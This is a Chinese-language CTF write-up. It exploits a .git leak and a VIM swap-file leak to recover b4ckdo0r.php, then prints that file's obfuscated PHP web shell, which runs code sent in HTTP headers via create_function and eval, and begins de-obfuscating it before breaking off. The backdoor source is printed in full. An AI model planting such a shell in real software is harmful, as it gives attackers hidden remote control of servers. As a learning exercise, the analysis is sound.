1
2 题目提示是文件泄露
3
4 先打开网站,看看源码看看目录
5
6 扫目录,扫出
7 flag.php
8 index.php
9 robots.txt
10
11 ---尝试各种文件泄露---
12 VIM文件泄露
13 .bak(备份)
14 还有各种版本控制系统的文件泄露
15
16 尝试后发现是.git泄露
17 --- ---
18
19 开工具(这里用的是dvcs-ripper)
20 #不知道工具怎么办?
21 #网上全是资源
22 #有 Githack , SourceleakageHAcker , dvcs-ripper , dirseach 等......
23
24 扫出来发现flag.php被编辑过(用GitBash diff命令 查看文件日志的不同(没错就是那些很长文件名的文件))
25 看到之前有
26 "flag{the_true_flag_is_in_the_b4ckdo0r.php}"
27
28 于是访问b4ckdo0r.php
29 ---看到---
30 can you find the source code of me?
31 --- ---
32 尝试各种方法
33
34 发现有VIM文件泄露( .[文件名(包括后缀名)].swx )
35 # 注意: x ^(这个) 取决于VIM自动备份的次数 第一次是p 第二次是o ......
36
37 发现是(.b4ckdo0r.php.swo)
38 用VIM(或VI)恢复文件 看到源码
39
40 ---code---
41 <?php
42 echo "can you find the source code of me?";
43
44 /* Signature For Report
45 */$h=‘_)m/","/-/)m"),)marray()m"/","+")m),$)mss($_SESSION[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)‘;/*
46 */$H=‘m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}‘;/*
47 */$N=‘mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p‘;/*
48 */$u=‘$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/‘;/*
49 */$f=‘$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)‘;/*
50 */$O=‘[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$_SESSION)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($_SESSION[$i],$f);)mif(‘;/*
51 */$w=‘)m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$_SESSION)m‘;/*
52 */$P=‘trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=strtolower()msubstr(m)md5($)mi.$kh)m),0,)m3));$f=$_SESSION)ml(substr()m)mmd5($i.$kf),0,3‘;/*
53 */$i=‘)marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)‘;/*
54 */$x=‘m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";strtolower="s)m‘;/*
55 */$y=str_replace(‘b‘,‘‘,‘crbebbabte_funcbbtion‘); /$c=‘$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;‘;/*
56 */$L=str_replace(‘)m‘,‘‘,$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
57 */$v=$y(‘‘,$L);/*
58 */ $v();/*
59 */
60 ?>
61
62 --- ---
63
64
65 实际上就是create了一个function,然后执行它
66
67
68 整理之后看到代码(代码注释里有解析,一定要看)
69
70
71 ++++code++++
72
73 <?php
74 echo "can you find the source code of me?";
75 #没啥用的一句
76
77 $kh="4f7f";
78 $kf="28d7";
79 function x($t,$k)
80 {
81 $c=strlen($k);
82 $l=strlen($t);
83 $o="";
84 for($i=0;$i<$l;)
85 {
86 for($j=0;($j<$c&&$i<$l);$j++,$i++)
87 {
88 $o.=$t{$i}^$k{$j};
89 #按位异或
90 }
91 }
92 return $o;
93 }
94 #函数功能:两个字符串按位异或一直到$t被异或完为止
95 /*
96 按位异或函数的特性
97 若C==A^B